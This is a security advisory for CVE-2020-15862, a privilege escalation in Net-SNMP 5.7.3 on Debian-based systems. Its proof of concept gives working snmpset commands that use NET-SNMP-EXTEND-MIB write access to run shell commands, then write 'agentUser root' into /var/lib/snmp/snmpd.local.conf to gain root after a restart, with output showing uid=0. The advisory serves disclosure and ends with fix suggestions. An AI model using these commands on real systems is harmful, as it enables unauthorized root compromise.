usd-2020-0059 | Net-SNMP v5.7.3


Advisory ID: usd-2020-0059
CVE Number: CVE-2020-15862
Affected Product: Net-SNMP
Affected Version: 5.7.3
Vulnerability Type: Elevation of Privileges
Security Risk: High
Vendor URL: http://www.net-snmp.org/
Vendor Status: Fixed

Description

The Simple Network Management Protocol (SNMP) is a widely used network protocol for controlling and monitoring network devices. Since the corresponding service (SNMP daemon) needs access to a lot of system components and (per default) binds the network port 161, it usually runs as the root user. On Debian based systems, the default installation of SNMP sets up a dedicated low privileged user account (Debian-snmp), that is used to run the SNMP daemon. This adds an additional layer of security, as a compromise of the SNMP service does not directly allow root access to the targeted device.

Proof of Concept (PoC)

After installing the SNMP daemon on a Debian based system (e.g. apt install snmpd), a new user account(Debian-snmp) is created by the installer:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[..SNIP..]
Debian-snmp:x:122:127::/var/lib/snmp:/bin/false

The configuration of the snmpd daemon (systemd) shows, that this is the user account that runs the service:

ubuntu@ubuntu:~$ cat /lib/systemd/system/snmpd.service
[Unit]
Description=Simple Network Management Protocol (SNMP) Daemon.
After=network.target
ConditionPathExists=/etc/snmp/snmpd.conf

[Service]
Environment="MIBSDIR=/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf:/usr/share/mibs/site:/usr/share/snmp/mibs:/usr/share/mibs/iana:/usr/share/mibs/ietf:/usr/share/mibs/netsnmp"
Environment="MIBS="
Type=simple
ExecStartPre=/bin/mkdir -p /var/run/agentx
ExecStart=/usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g Debian-snmp -I -smux,mteTrigger,mteTriggerConf -f
ExecReload=/bin/kill -HUP $MAINPID

[Install]
WantedBy=multi-user.target

In the following it is assumed that an attacker has read-write access to the SNMP service and is able to use the NET-SNMP-EXTEND-MIBextension. The following snipped shows how an attacker can abuse the read-write access to execute the operating system command idon the remote SNMP server:

ubuntu@ubuntu:~$ cat setup.sh
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \
'nsExtendStatus."example"' = createAndGo \
'nsExtendCommand."example"' = /bin/bash \
'nsExtendArgs."example"' = '-c id'
ubuntu@ubuntu:~$ bash setup.sh
NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example
NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=122(Debian-snmp) gid=127(Debian-snmp) groups=127(Debian-snmp)

As one can see, the command is executed as the Debian-snmp user and the attacker does not gain root access directly. However, during startup the snmpd daemon loads configuration files from different locations of the file system. One of them is the folder /var/lib/snmp/, which is the home directory of the Debian-snmp user. Since Debian-snmp has write access to the corresponding directory, it is possible for this user to write a new configuration file. The following snipped demonstrates, how an attacker can write a new configuration file by using read-write access to the snmp service. The newly created configuration just contains the option agentUser root.

After the snmpd daemon was restarted, it no longer runs as the low privileged user account, but instead as the root user:

ubuntu@ubuntu:~$ cat priv.sh
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \
'nsExtendStatus."priv"' = createAndGo \
'nsExtendCommand."priv"' = /bin/bash \
'nsExtendArgs."priv"' = '-c "echo agentUser root > /var/lib/snmp/snmpd.local.conf"'
ubuntu@ubuntu:~$ bash priv.sh
NET-SNMP-EXTEND-MIB::nsExtendStatus."priv" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser root > /var/lib/snmp/snmpd.local.conf\"
ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep priv
NET-SNMP-EXTEND-MIB::nsExtendCommand."priv" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."priv" = STRING: -c \"echo agentUser root > /var/lib/snmp/snmpd.local.conf\"
NET-SNMP-EXTEND-MIB::nsExtendInput."priv" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."priv" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."priv" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."priv" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."priv" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."priv" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."priv" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."priv" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."priv" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."priv" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."priv".1 = STRING
ubuntu@ubuntu:~$ cat setup.sh
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \
'nsExtendStatus."example"' = createAndGo \
'nsExtendCommand."example"' = /bin/bash \
'nsExtendArgs."example"' = '-c id'
ubuntu@ubuntu:~$ bash setup.sh
NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example
NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."example" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."example" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp)
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."example" = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp)
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."example" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."example" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."example".1 = STRING: uid=0(root) gid=127(Debian-snmp) groups=127(Debian-snmp)

This way, the attacker can execute commands as the root user. This bypasses the intended account separation and allows every user with read-write access to the SNMP service (including the Debian-snmp user itself) to escalate privileges to root.

The attack described above requires a restart of the SNMP service. However, it should be noticed that this can often be enforced by the attacker. For example, the attacker can use command execution as Debian-snmp to kill the running snmpd instance. If the service is configured to restart automatically, this is sufficient to gain root access.

Fix

There are different possibilities to fix this issue.

  1. The NET-SNMP service could ignore the configuration files inside /var/lib/snmp or restrict possible options that can be configured by these files.
  2. The installer of NET-SNMP could create the configuration files inside /var/lib/snmp automatically and set these files read-only.
  3. The systemd service sets the SNMP user on the command line. This option could also be favored instead of the configuration file. However, one of the previous two suggestions should be preferred.

Timeline

Credits

This security vulnerability was found by Tobias Neitzel of usd AG.